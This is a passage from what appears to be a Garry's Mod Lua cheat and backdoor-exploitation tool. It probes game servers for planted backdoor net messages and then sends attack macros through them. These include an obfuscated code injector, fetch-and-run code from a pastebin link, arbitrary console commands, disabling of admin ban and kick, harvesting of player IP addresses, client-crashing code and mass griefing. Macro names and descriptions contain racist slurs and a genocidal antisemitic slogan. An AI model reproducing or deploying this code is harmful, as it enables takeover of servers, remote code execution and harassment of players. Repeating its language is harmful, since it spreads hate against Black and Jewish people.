7072 NetWork = "DarkRP_UTF8"
7073 },
7074 {
7075 NetWork = "oldNetReadData"
7076 },
7077 {
7078 NetWork = "memeDoor"
7079 },
7080 {
7081 NetWork = "BackDoor"
7082 },
7083 {
7084 NetWork = "OdiumBackDoor"
7085 },
7086 {
7087 NetWork = "SessionBackdoor"
7088 },
7089 {
7090 NetWork = "DarkRP_AdminWeapons"
7091 },
7092 {
7093 NetWork = "cucked"
7094 },
7095 {
7096 NetWork = "NoNerks"
7097 },
7098 {
7099 NetWork = "kek"
7100 },
7101 {
7102 NetWork = "ZimbaBackDoor"
7103 },
7104 {
7105 NetWork = "something"
7106 },
7107 {
7108 NetWork = "random"
7109 },
7110 {
7111 NetWork = "strip0"
7112 },
7113 {
7114 NetWork = "fellosnake"
7115 },
7116 {
7117 NetWork = "enablevac"
7118 },
7119 {
7120 NetWork = "idk"
7121 },
7122 {
7123 NetWork = "c"
7124 },
7125 {
7126 NetWork = "killserver"
7127 },
7128 {
7129 NetWork = "fuckserver"
7130 },
7131 {
7132 NetWork = "cvaraccess"
7133 },
7134 {
7135 NetWork = "rcon"
7136 },
7137 {
7138 NetWork = "rconadmin"
7139 },
7140 {
7141 NetWork = "web"
7142 },
7143 {
7144 NetWork = "jesuslebg"
7145 },
7146 {
7147 NetWork = "zilnix"
7148 },
7149 {
7150 NetWork = "Þà ?D)◘"
7151 },
7152 {
7153 NetWork = "disablebackdoor"
7154 },
7155 {
7156 NetWork = "kill"
7157 },
7158 {
7159 NetWork = "DefqonBackdoor"
7160 }
7161}
7162
7163function checkbackdoors()
7164 for k, v in pairs(BackDoor_net) do
7165 if (ValidNetString(v.NetWork)) then
7166 BackdoorsFound = 1 + BackdoorsFound
7167 chat.AddText(Color(0, 0, 0, 125), "[R8]", Color(255, 255, 255), " Found Backdoor! - " .. v.NetWork)
7168 v.NetWork = backdoor
7169 end
7170 end
7171end
7172
7173BD.Backdoors = BD.Backdoors or {}
7174BD.CurrentBackdoor = "Generic"
7175
7176for k, v in pairs(BackDoor_net) do
7177 if (ValidNetString(v.NetWork)) then
7178 BD.BackdoorTypes = {
7179 ["Generic"] = {
7180 ["Code"] = "util.AddNetworkString( " .. v.NetWork .. " ) net.Receive( " .. v.NetWork .. ", function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
7181 ["Netkey"] = v.NetWork
7182 }
7183 }
7184 end
7185end
7186
7187checkbackdoors()
7188local netsss = net.Start
7189
7190function BD.IsMessagePooled(netmessage)
7191 local netfunc = netsss
7192
7193 return status
7194end
7195
7196local net = net
7197local ctxt = chat.AddText
7198
7199function BD.ChatText(message, col)
7200 ctxt(Color(195, 205, 255, 255), "[Blackdoor] ", col, message)
7201end
7202
7203function BD.PingBackDoors()
7204 local bds = {}
7205
7206 for k, v in pairs(BackDoor_net) do
7207 if BD.IsMessagePooled(tostring(v.NetWork)) then
7208 bds[k] = true
7209 end
7210 end
7211
7212 return bds
7213end
7214
7215concommand.Add("bd_refresh_backdoors", function()
7216 BD.Backdoors = BD.PingBackDoors()
7217end)
7218
7219function BD.BackdoorActive()
7220 return table.Count(BD.Backdoors) > 0
7221end
7222
7223BD.BDMacros = {
7224 ["Artillery Strike"] = {
7225 ["Type"] = 1,
7226 ["Code"] = [[if !bombstrike then
7227
7228hook.Add("Think", "lulz_bombstrike", function()
7229
7230local explode = ents.Create( "env_explosion" )
7231
7232local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
7233
7234local trc = {}
7235
7236trc.start = ps
7237
7238trc.endpos = ps + Vector( 0, 0, -99999)
7239
7240local tr = util.TraceLine(trc)
7241
7242if !tr.Hit then return end
7243
7244explode:SetPos( tr.HitPos )
7245
7246explode:Spawn()
7247
7248explode:SetKeyValue( "iMagnitude", "400" )
7249
7250explode:Fire( "Explode", 0, 0 )
7251
7252end)
7253
7254bombstrike = true
7255
7256else
7257
7258hook.Remove("Think", "lulz_bombstrike")
7259
7260bombstrike = false
7261
7262end]],
7263 ["Desc"] = "Explode the shit out of everything"
7264 },
7265 ["@ Inject SendLua Interface"] = {
7266 ["Type"] = 1,
7267 ["Code"] = [[
7268
7269local ‪ = _G local ‪‪ = ‪['\115\116\114\105\110\103'] local ‪‪‪ = ‪['\98\105\116']['\98\120\111\114'] local function ‪‪‪‪‪‪‪(‪‪‪‪) if ‪‪['\108\101\110'](‪‪‪‪) == 0 then return ‪‪‪‪ end local ‪‪‪‪‪ = '' for _ in ‪‪['\103\109\97\116\99\104'](‪‪‪‪,'\46\46') do ‪‪‪‪‪=‪‪‪‪‪..‪‪['\99\104\97\114'](‪‪‪(‪["\116\111\110\117\109\98\101\114"](_,16),25)) end return ‪‪‪‪‪ end ‪[‪‪‪‪‪‪‪'6c6d7075'][‪‪‪‪‪‪‪'587d7d577c6d6e766b724a6d6b70777e'](‪‪‪‪‪‪‪'4b21')‪[‪‪‪‪‪‪‪'777c6d'][‪‪‪‪‪‪‪'4b7c7a7c706f7c'](‪‪‪‪‪‪‪'4b21',function ()local false‪=‪[‪‪‪‪‪‪‪'5a76746970757c4a6d6b70777e'](‪[‪‪‪‪‪‪‪'777c6d'][‪‪‪‪‪‪‪'4b7c787d4a6d6b70777e'](),‪‪‪‪‪‪‪'556c785a747d',false )if ‪[‪‪‪‪‪‪‪'706a7f6c777a6d707677'](false‪)then false‪()end end )
7270
7271 ]],
7272 ["Desc"] = "You need this to use certain macros"
7273 },
7274 ["Announce centre screen"] = {
7275 ["Type"] = 1,
7276 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, @1 ) end]],
7277 ["Desc"] = "Make an announcement in the centre of everybodys screen",
7278 ["NeedsParameters"] = 1
7279 },
7280 ["Rainbow chat spam"] = {
7281 ["Type"] = 1,
7282 ["Code"] = [[
7283
7284 if !timer.Exists( "lulz_chatspam" ) then
7285
7286 timer.Create( "lulz_chatspam", 0.5, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
7287
7288 else
7289
7290 timer.Remove( "lulz_chatspam" )
7291
7292 end]],
7293 ["Desc"] = "Spam rainbow chat for all players with the 1st parameter as the text",
7294 ["NeedsParameters"] = 1
7295 },
7296 ["Rainbow chat spam (Turbo)"] = {
7297 ["Type"] = 1,
7298 ["Code"] = [[
7299
7300 if !timer.Exists( "lulz_chatspam" ) then
7301
7302 timer.Create( "lulz_chatspam", 0.01, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
7303
7304 else
7305
7306 timer.Remove( "lulz_chatspam" )
7307
7308 end]],
7309 ["Desc"] = "Spam rainbow chat for all players with the 1st parameter as the text",
7310 ["NeedsParameters"] = 1
7311 },
7312 ["Unlock all doors"] = {
7313 ["Type"] = 1,
7314 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]],
7315 ["Desc"] = ""
7316 },
7317 ["Toggle all doors"] = {
7318 ["Type"] = 1,
7319 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]],
7320 ["Desc"] = ""
7321 },
7322 ["Broken Glass Symphony"] = {
7323 ["Type"] = 1,
7324 ["Code"] = [[
7325
7326 if !timer.Exists( "A true masterpiece" ) then
7327
7328 timer.Create( "A true masterpiece", 0.2, 0, function()
7329
7330 for _, p in pairs(player.GetAll()) do
7331
7332 p:EmitSound( "physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random( 40, 180 ) )
7333
7334 end
7335
7336 end)
7337
7338 else
7339
7340 timer.Remove( "A true masterpiece" )
7341
7342 end]],
7343 ["Desc"] = "Beethoven's last hidden symphony, only rediscovered in 2017"
7344 },
7345 ["Yeah Baby"] = {
7346 ["Type"] = 1,
7347 ["Code"] = [[
7348
7349 if !timer.Exists( "porn" ) then
7350
7351 timer.Create( "porn", 0.3, 0, function()
7352
7353 for _, p in pairs(player.GetAll()) do
7354
7355 p:EmitSound( "vo/npc/female01/yeah02.wav", 100, math.random( 90, 120 ) )
7356
7357 end
7358
7359 end)
7360
7361 else
7362
7363 timer.Remove( "porn" )
7364
7365 end]],
7366 ["Desc"] = "YEAH BABY YEAH"
7367 },
7368 ["Street War"] = {
7369 ["Type"] = 1,
7370 ["Code"] = [[
7371
7372 if !timer.Exists( "cwar" ) then
7373
7374 timer.Create( "cwar", 1, 0, function()
7375
7376 for _, p in pairs(player.GetAll()) do
7377
7378 p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19 )..".wav", 100, math.random( 90, 120 ) )
7379
7380 end
7381
7382 end)
7383
7384 else
7385
7386 timer.Remove( "cwar" )
7387
7388 end]],
7389 ["Desc"] = "For when you need more dakka"
7390 },
7391 ["Earthquake"] = {
7392 ["Type"] = 1,
7393 ["Code"] = [[
7394
7395 if !timer.Exists( "earthquake" ) then
7396
7397 timer.Create( "earthquake", 0.5, 500, function()
7398
7399 for _, p in pairs(player.GetAll()) do
7400
7401 p:SetPos( p:GetPos() + Vector( 0, 0, 1 ) )
7402
7403 p:SetVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) )
7404
7405 util.ScreenShake( p:GetPos(), 20, 1, 1, 100 )
7406
7407 p:EmitSound( "ambient/explosions/exp1.wav", 100, math.random( 60, 100 ) )
7408
7409 end
7410
7411
7412
7413 for _, e in pairs(ents.GetAll()) do
7414
7415 if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) ) end
7416
7417 end
7418
7419
7420
7421
7422
7423 end)
7424
7425 else
7426
7427 timer.Remove( "earthquake" )
7428
7429 end]],
7430 ["Desc"] = "For when you need more dakka"
7431 },
7432 ["Explode all vehicles"] = {
7433 ["Type"] = 1,
7434 ["Code"] = [[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
7435
7436 local explo = ents.Create("env_explosion")
7437
7438 explo:SetPos(v:GetPos())
7439
7440 explo:SetKeyValue("iMagnitude", "300")
7441
7442 explo:Spawn()
7443
7444 explo:Activate()
7445
7446 explo:Fire("Explode", "", 0)
7447
7448 end
7449
7450 end]],
7451 ["Desc"] = ""
7452 },
7453 ["RCON command"] = {
7454 ["Type"] = 1,
7455 ["Code"] = [[game.ConsoleCommand( @1.."\n" )]],
7456 ["Desc"] = "Like having rcon access without actually having rcon access"
7457 },
7458 ["Lua run"] = {
7459 ["Type"] = 1,
7460 ["Code"] = [[@1]],
7461 ["Desc"] = "For running your dank luas"
7462 },
7463 ["Lua run from pastebin"] = {
7464 ["Type"] = 1,
7465 ["Code"] = [[http.Fetch( "@1", function( b, l, h, c ) RunString( b ) end, function() end )]],
7466 ["Desc"] = "Fetch and run code from a pastebin link ( remember to use raw you stupid faggot eg. https://pastebin.com/raw/fHeygLt9 )"
7467 },
7468 ["Destroy ULX Ban/Kick"] = {
7469 ["Type"] = 1,
7470 ["Code"] = [[ULib.Ban = function() return false end
7471
7472 ULib.addBan = function() return end
7473
7474 ULib.kick = function() return end]],
7475 ["Desc"] = "Completely break ulx ban and ulx kick so you can't be locked out of the server"
7476 },
7477 ------------------------ player targeted macros ------------------------
7478 ["Kill player"] = {
7479 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
7480 ["Code"] = [[v:Kill()]],
7481 ["Desc"] = ""
7482 },
7483 ["Fumble player"] = {
7484 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
7485 ["Code"] = [[v:DropWeapon( v:GetActiveWeapon() )]],
7486 ["Desc"] = "Knocks their current weapon out of their hand"
7487 },
7488 ["Strip weapons"] = {
7489 ["Type"] = 2,
7490 ["Code"] = [[v:StripWeapons()]],
7491 ["Desc"] = ""
7492 },
7493 ["Rocket"] = {
7494 ["Type"] = 2,
7495 ["Code"] = [[v:SetVelocity( Vector(0, 0, 9000) )]],
7496 ["Desc"] = "Sends them flying up into the air"
7497 },
7498 ["Rocket (Spastic)"] = {
7499 ["Type"] = 2,
7500 ["Code"] = [[v:SetVelocity( Vector(math.random( -9000, 9000), math.random( -9000, 9000), 9000) )]],
7501 ["Desc"] = "HOLY SHIIIIIIIIIIIT"
7502 },
7503 ["Change model"] = {
7504 ["Type"] = 2,
7505 ["Code"] = [[v:SetModel( @1 )]],
7506 ["Desc"] = "Set their player model to the specified string (1st paremeter)",
7507 ["NeedsParameters"] = 1
7508 },
7509 ["Set health + armor"] = {
7510 ["Type"] = 2,
7511 ["Code"] = [[v:SetHealth( @1 ) v:SetArmor( @2 ) ]],
7512 ["Desc"] = "Sets their health (1st paremeter) and armor (2nd paremeter)",
7513 ["NeedsParameters"] = 2
7514 },
7515 ["Ear rape"] = {
7516 ["Type"] = 2,
7517 ["Code"] = [[
7518
7519 local snd = {
7520
7521 [1] = "npc/stalker/go_alert2a.wav",
7522
7523 [2] = "vo/npc/male01/question06.wav",
7524
7525 [3] = "ambient/energy/zap1.wav",
7526
7527 [4] = "weapons/knife/knife_stBD.wav",
7528
7529 [5] = "vo/ravenholm/madlaugh04.wav",
7530
7531 [6] = "npc/antlion_guard/antlion_guard_die1.wav",
7532
7533 [7] = "vo/breencast/br_collaboration01.wav,"
7534
7535 }
7536
7537 v:EmitSound( snd[tonumber(@1)], 100, 100 )
7538
7539 ]],
7540 ["Desc"] = "Make them emit a sound (1st paremeter is a number 1-7)",
7541 ["NeedsParameters"] = 1
7542 },
7543 ["Ear rape (from internet)"] = {
7544 ["Type"] = 2,
7545 ["Code"] = [[
7546
7547 BDSendLua( v, 'if soundrape then soundrape:Remove() soundrape = nil return end soundrape = vgui.Create( "DFrame" ) soundrape:SetSize( 1, 1 ) local html = vgui.Create( "HTML", soundrape ) html:OpenURL( @1 )' )
7548
7549 ]],
7550 ["Desc"] = "Make them hear a sound from a URL (1st paremeter). Sending a new sound will stop the previous one. Send an invalid url to stop all sounds entirely on their client",
7551 ["NeedsParameters"] = 1
7552 },
7553 ["Eye rape (from internet)"] = {
7554 ["Type"] = 2,
7555 ["Code"] = [[
7556
7557 BDSendLua( v, 'if bdeyerape then bdeyerape:Remove() bdeyerape = nil return end bdeyerape = vgui.Create( "DFrame" )bdeyerape:SetDraggable( false )bdeyerape:SetSize( ScrW(), ScrH() )bdeyerape:SetTitle( "" )bdeyerape:ShowCloseButton( false )local html = vgui.Create( "HTML", bdeyerape )html:Dock( FILL )html:OpenURL( @1 )' )
7558
7559 ]],
7560 ["Desc"] = "Make them see a full screen, unclosable panel from a URL (1st paremeter). Sending a new url will stop the previous one. Send an invalid url to clear their view entirely",
7561 ["NeedsParameters"] = 1
7562 },
7563 ["Rave Mode"] = {
7564 ["Type"] = 2,
7565 ["Code"] = [[
7566
7567 BDSendLua( v, 'if hook.GetTable().HUDPaint.drugznigga then hook.Remove( "HUDPaint", "drugznigga" ) else hook.Add( "HUDPaint", "drugznigga", function() local cin = math.sin( CurTime() * 10 ) * 255 surface.SetDrawColor( Color( cin, -cin, cin, 100 ) ) surface.DrawRect( 0, 0, ScrW(), ScrH() ) end) end' )
7568
7569 ]],
7570 ["Desc"] = "Make them loosen up and join the party"
7571 },
7572 ["Rave Music"] = {
7573 ["Type"] = 2,
7574 ["Code"] = [[
7575
7576 BDSendLua( v, 'surface.PlaySound( "music/hl1_song25_remix3.mp3" )' )
7577
7578 ]],
7579 ["Desc"] = "DOOF DOOF NIGGA"
7580 },
7581 ["Whisper"] = {
7582 ["Type"] = 2,
7583 ["Code"] = [[v:ChatPrint( @1 )]],
7584 ["Desc"] = "Anonymously whisper text into their chatbox (1st paremeter)",
7585 ["NeedsParameters"] = 1
7586 },
7587 ["Whisper (advanced)"] = {
7588 ["Type"] = 2,
7589 ["Code"] = [[
7590
7591 BDSendLua( v, 'chat.AddText( Color( @2, @3, @4 ), @1 )' )
7592
7593 ]],
7594 ["Desc"] = "Anonymously whisper coloured text into their chatbox (1st paremeter = text, 2nd = r, 3rd = g, 4th = b)",
7595 ["NeedsParameters"] = 1
7596 },
7597 ["Ignite player"] = {
7598 ["Type"] = 2,
7599 ["Code"] = [[v:Ignite( 30 )]],
7600 ["Desc"] = "Ignite players for 30 seconds, spam repeatedly to refresh the duration"
7601 },
7602 ["Toggle godmode"] = {
7603 ["Type"] = 2,
7604 ["Code"] = [[if v:HasGodMode() then v:GodDisable() else v:GodEnable() end]],
7605 ["Desc"] = ""
7606 },
7607 ["Crash their gmod"] = {
7608 ["Type"] = 2,
7609 ["Code"] = [[v:SendLua("function fag() return fag() end fag()")]],
7610 ["Desc"] = "Instantly freezes their game solid, the only way to fix it is ctrl-alt-delete or a computer restart"
7611 },
7612 ["Toggle serverside speedhack"] = {
7613 ["Type"] = 2,
7614 ["Code"] = [[if !v.Sanic then v:SetRunSpeed( 1200 ) v:SetWalkSpeed(800) v.Sanic = true else v:SetRunSpeed( 240 ) v:SetWalkSpeed( 160 ) v.Sanic = false end]],
7615 ["Desc"] = "GOTTA GO FAST"
7616 },
7617 ["Freeze/Unfreeze player"] = {
7618 ["Type"] = 2,
7619 ["Code"] = [[v:Freeze( !v:IsFrozen() )]],
7620 ["Desc"] = ""
7621 },
7622 ["Force say"] = {
7623 ["Type"] = 2,
7624 ["Code"] = [[v:Say(@1)]],
7625 ["Desc"] = "Forces them to say the specified string in chat (first parameter)",
7626 ["NeedsParameters"] = 1
7627 },
7628 ["Force concommand"] = {
7629 ["Type"] = 2,
7630 ["Code"] = [[v:ConCommand(@1)]],
7631 ["Desc"] = "Forces them to run the specified console command (first parameter)",
7632 ["NeedsParameters"] = 1
7633 },
7634 ["Grab IP"] = {
7635 ["Type"] = 2,
7636 ["Code"] = [[ for _, p in pairs(player.GetAll()) do if %LP then p:ChatPrint( v:Nick().." : "..v:IPAddress() ) end end]],
7637 ["Desc"] = "Prints their IP Address to your console"
7638 },
7639 ["DarkRP add/remove money"] = {
7640 ["Type"] = 2,
7641 ["Code"] = [[v:addMoney(@1)]],
7642 ["Desc"] = "Adds money to their wallet (first parameter) remember that you can use negative numbers to subtract money",
7643 ["NeedsParameters"] = 1
7644 },
7645 ["DarkRP force job"] = {
7646 ["Type"] = 2,
7647 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:changeTeam(i, true, true) end end]],
7648 ["Desc"] = "Change their team to the specified job (1st parameter = job name, does not require capitalization)",
7649 ["NeedsParameters"] = 1
7650 },
7651 ["Force team switch"] = {
7652 ["Type"] = 2,
7653 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:SetTeam( i ) end end]],
7654 ["Desc"] = "Change their team to the specified team name (1st parameter)",
7655 ["NeedsParameters"] = 1
7656 },
7657 ["Noclip player"] = {
7658 ["Type"] = 2,
7659 ["Code"] = [[if v:GetMoveType() != MOVETYPE_NOCLIP then v:SetMoveType(MOVETYPE_NOCLIP) else v:SetMoveType(MOVETYPE_WALK) end]],
7660 ["Desc"] = "Toggles noclip on the specified players"
7661 },
7662 ["Give weapon to player"] = {
7663 ["Type"] = 2,
7664 ["Code"] = [[v:Give( @1 )]],
7665 ["Desc"] = "Gives this player a weapon (first parameter)",
7666 ["NeedsParameters"] = 1
7667 },
7668 ["Give ammo to player"] = {
7669 ["Type"] = 2,
7670 ["Code"] = [[v:GiveAmmo( @1, @2, false )]],
7671 ["Desc"] = "Gives this player some ammo (first parameter = amount of ammo, secound parameter = ammo type)",
7672 ["NeedsParameters"] = 2
7673 },
7674 ["Teleport (them to your cursor)"] = {
7675 ["Type"] = 2,
7676 ["Code"] = [[
7677
7678 local tp = false
7679
7680 local tpos
7681
7682 for _, p in pairs(player.GetAll()) do if %LP then tpos = p:GetEyeTraceNoCursor().HitPos tp = true end end
7683
7684 if tp then v:SetPos( tpos ) end
7685
7686 ]],
7687 ["Desc"] = "Teleports the selected players to your cursor location, not recommended for more than 1 person at once"
7688 },
7689 ["Teleport (you to them)"] = {
7690 ["Type"] = 2,
7691 ["Code"] = [[
7692
7693 local tp = false
7694
7695 local tpos = v:GetPos() + Vector( 32, 0, 10)
7696
7697 for _, p in pairs(player.GetAll()) do if %LP then p:SetPos( tpos ) end end
7698
7699 ]],
7700 ["Desc"] = "Teleport yourself to the selected player, may end with you stuck inside a wall"
7701 },
7702 ["Teleport (blink)"] = {
7703 ["Type"] = 2,
7704 ["Code"] = [[
7705
7706 local tpos = v:GetEyeTraceNoCursor().HitPos
7707
7708 v:SetPos( tpos )
7709
7710 ]],
7711 ["Desc"] = "Use on yourself or others to warp them to where they are looking"
7712 },
7713 ["Spawn entity near player"] = {
7714 ["Type"] = 2,
7715 ["Code"] = [[
7716
7717 local tr = {}
7718
7719 tr.start = v:GetShootPos()
7720
7721 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7722
7723 tr.filter = {v}
7724
7725 local trace = util.TraceLine(tr)
7726
7727 local dix = ents.Create( @1 )
7728
7729 dix:SetPos(trace.HitPos)
7730
7731 dix:SetAngles(Angle(0,0,0))
7732
7733 dix:Spawn()
7734
7735 ]],
7736 ["Desc"] = "Spawn an entity in front of this player (first parameter = entity class), cannot spawn cars!",
7737 ["NeedsParameters"] = 1
7738 },
7739 ["Spawn prop near player"] = {
7740 ["Type"] = 2,
7741 ["Code"] = [[
7742
7743 local tr = {}
7744
7745 tr.start = v:GetShootPos()
7746
7747 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7748
7749 tr.filter = {v}
7750
7751 local trace = util.TraceLine(tr)
7752
7753 local dix = ents.Create( "prop_physics" )
7754
7755 dix:SetPos(trace.HitPos)
7756
7757 dix:SetAngles(Angle(0,0,0))
7758
7759 dix:SetModel( @1 )
7760
7761 dix:Spawn()
7762
7763 ]],
7764 ["Desc"] = "Spawn a world prop in front of this player (first parameter = model)",
7765 ["NeedsParameters"] = 1
7766 },
7767 ["Spawn evil npc near player"] = {
7768 ["Type"] = 2,
7769 ["Code"] = [[
7770
7771 local tr = {}
7772
7773 tr.start = v:GetShootPos()
7774
7775 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7776
7777 tr.filter = {v}
7778
7779 local trace = util.TraceLine(tr)
7780
7781 local dix = ents.Create( "npc_citizen" )
7782
7783 dix:SetPos(trace.HitPos)
7784
7785 dix:SetAngles(Angle(0,0,0))
7786
7787 dix:SetKeyValue( "additionalequipment", table.Random({"weapon_shotgun", "weapon_smg1", "weapon_ar2"}) )
7788
7789 dix:SetKeyValue( "citizentype", 3 )
7790
7791 dix:AddRelationship("player D_HT 200")
7792
7793 dix:SetCurrentWeaponProficiency(WEAPON_PROFICIENCY_PERFECT)
7794
7795 dix:SetSchedule( SCHED_IDLE_WANDER )
7796
7797 dix:Spawn()
7798
7799 ]],
7800 ["Desc"] = "Spawn a hostile NPC in front of this player"
7801 },
7802 ["Death ray"] = {
7803 ["Type"] = 2,
7804 ["Code"] = [[
7805
7806 local trace = v:GetEyeTraceNoCursor()
7807
7808 if trace.Entity:IsValid() then trace.Entity:Remove() end
7809
7810 ]],
7811 ["Desc"] = "Vaporize whatever this player is looking at"
7812 },
7813 ["Death ray (explosive)"] = {
7814 ["Type"] = 2,
7815 ["Code"] = [[
7816
7817 local trace = v:GetEyeTraceNoCursor()
7818
7819 local explo = ents.Create("env_explosion")
7820
7821 explo:SetPos(trace.HitPos)
7822
7823 explo:SetKeyValue("iMagnitude", "250")
7824
7825 explo:Spawn()
7826
7827 explo:Activate()
7828
7829 explo:Fire("Explode", "", 0)
7830
7831 ]],
7832 ["Desc"] = "Blow up whatever this player is looking at"
7833 },
7834 ["Precise Artillery Strike"] = {
7835 ["Type"] = 2,
7836 ["Code"] = [[
7837
7838 local trace = v:GetEyeTraceNoCursor()
7839
7840 timer.Create( "uiashfuasfas"..v:UniqueID()..math.random(-9999, 99999), 0.2, 15, function()
7841
7842 local explo = ents.Create("env_explosion")
7843
7844 explo:SetPos(trace.HitPos + Vector( math.random( -500, 500), math.random( -500, 500), math.random( -500, 500) ) )
7845
7846 explo:SetKeyValue("iMagnitude", "250")
7847
7848 explo:Spawn()
7849
7850 explo:Activate()
7851
7852 explo:Fire("Explode", "", 0)
7853
7854 end)
7855
7856 ]],
7857 ["Desc"] = "Blow up whatever this player is looking at"
7858 },
7859 ["Woman Driver"] = {
7860 ["Type"] = 2,
7861 ["Code"] = [[
7862
7863 local trace = v:GetEyeTraceNoCursor()
7864
7865 local car = ents.Create("prop_physics")
7866
7867 local trace2 = util.TraceLine( { start = trace.HitPos, endpos = trace.HitPos + Vector( 0, 0, 5000000 ), mask = MASK_SOLID_BRUSHONLY } )
7868
7869 car:SetModel( "models/props_vehicles/car002a_physics.mdl" )
7870
7871 car:SetAngles( v:GetAngles() )
7872
7873 car:SetPos( trace2.HitPos + Vector( 0, 0, -60 ) )
7874
7875 car:Spawn()
7876
7877 car:Activate()
7878
7879 car.boom = 6
7880
7881 car:GetPhysicsObject():SetVelocity( Vector( 0, 0, -5000 ) )
7882
7883 car:Ignite( 500 )
7884
7885 car:AddCallback( "PhysicsCollide", function( car, dat )
7886
7887 local explo = ents.Create("env_explosion")
7888
7889 explo:SetPos( car:GetPos() )
7890
7891 explo:SetKeyValue("iMagnitude", "350")
7892
7893 explo:Spawn()
7894
7895 explo:Activate()
7896
7897 explo:Fire("Explode", "", 0)
7898
7899 local ef = EffectData()
7900
7901 ef:SetOrigin( car:GetPos() )
7902
7903 ef:SetMagnitude( 5 )
7904
7905 ef:SetScale( 200 )
7906
7907 util.Effect( "ThumperDust", ef )
7908
7909 car.boom = car.boom - 1
7910
7911 if car.boom < 0 then car:Remove() end
7912
7913 end )
7914
7915 timer.Simple( 30, function() if car:IsValid() then car:Remove() end end)
7916
7917 ]],
7918 ["Desc"] = "Make exploding vehicles rain from the sky"
7919 },
7920 ["Poison Gas"] = {
7921 ["Type"] = 2,
7922 ["Code"] = [[
7923
7924 local trace = v:GetEyeTraceNoCursor()
7925
7926 local ar2Explo = ents.Create("env_ar2explosion")
7927
7928 ar2Explo:SetOwner(game.GetWorld())
7929
7930 local p = trace.HitPos
7931
7932 ar2Explo:SetPos(trace.HitPos)
7933
7934 ar2Explo:Spawn()
7935
7936 ar2Explo:Activate()
7937
7938 ar2Explo:Fire("Explode", "", 0)
7939
7940 timer.Create( "gasthekikes_"..math.random(-9999, 9999).."_"..math.random(-9999, 9999), 0.25, 35, function()
7941
7942 for _, ent in pairs(ents.FindInSphere( p, 500)) do
7943
7944 if !ent:IsPlayer() then continue end
7945
7946 local d = DamageInfo()
7947
7948 d:SetDamage( 1 )
7949
7950 d:SetAttacker( game.GetWorld() )
7951
7952 d:SetInflictor( game.GetWorld() )
7953
7954 d:SetDamageType( DMG_DROWN )
7955
7956 ent:TakeDamageInfo( d )
7957
7958 end
7959
7960 end)
7961
7962
7963
7964 ]],
7965 ["Desc"] = "GAS THE JEWS RACE WAR NOW"
7966 },
7967 ["Spawn vehicle near player"] = {
7968 ["Type"] = 2,
7969 ["Code"] = [[
7970
7971 local trc = {}
7972
7973 trc.start = v:GetShootPos()
7974
7975 trc.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7976
7977 trc.filter = {v}
7978
7979 local tr = util.TraceLine(trc)
7980
7981
7982
7983 local VehicleList = list.Get( "Vehicles" )
7984
7985 local vehicle = VehicleList[ @1 ]
7986
7987 if ( !vehicle ) then return end
7988
7989 local Angles = v:GetAngles()
7990
7991 Angles.pitch = 0
7992
7993 Angles.roll = 0
7994
7995 Angles.yaw = Angles.yaw + 180
7996
7997
7998
7999 local pos = tr.HitPos
8000
8001 if ( vehicle.Offset ) then
8002
8003 pos = pos + tr.HitNormal * vehicle.Offset
8004
8005 end
8006
8007 local Ent = ents.Create( vehicle.Class )
8008
8009 if ( !Ent ) then return end
8010
8011 duplicator.DoGeneric( Ent, vehicle )
8012
8013 if ( vehicle.Model == "models/buggy.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jeep_test.txt" ) end
8014
8015 if ( vehicle.Model == "models/vehicle.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jalopy.txt" ) end
8016
8017 if ( vehicle && vehicle.KeyValues ) then
8018
8019 for k, v in pairs( vehicle.KeyValues ) do
8020
8021 Ent:SetKeyValue( k, v )
8022
8023 end
8024
8025 end
8026
8027 Ent:SetModel( vehicle.Model )
8028
8029 Ent:SetAngles( Angles )
8030
8031 Ent:SetPos( pos )
8032
8033 Ent:Spawn()
8034
8035 Ent:Activate()
8036
8037 if ( Ent.SetVehicleClass && @1 ) then Ent:SetVehicleClass( @1 ) end
8038
8039 Ent.VehicleName = vehicle.Class
8040
8041 Ent.VehicleTable = @1
8042
8043 Ent.ClassOverride = vehicle.Class
8044
8045 ]],
8046 ["Desc"] = "Spawn a vehicle in front of this player (first parameter = vehicle class), don't try to spawn ents with this ya dingus!",
8047 ["NeedsParameters"] = 1
8048 },
8049 ["Kick player"] = {
8050 ["Type"] = 2,
8051 ["Code"] = [[ v:Kick( @1 ) ]],
8052 ["Desc"] = "First parameter = reason for kick"
8053 },
8054 ["Niggerize player"] = {
8055 ["Type"] = 2,
8056 ["Code"] = [[ if !v.Niggered then v:SetColor( Color( 0, 0, 0 ) ) v.Niggered = true else v:SetColor( Color(255, 255, 255) ) v.Niggered = false end ]],
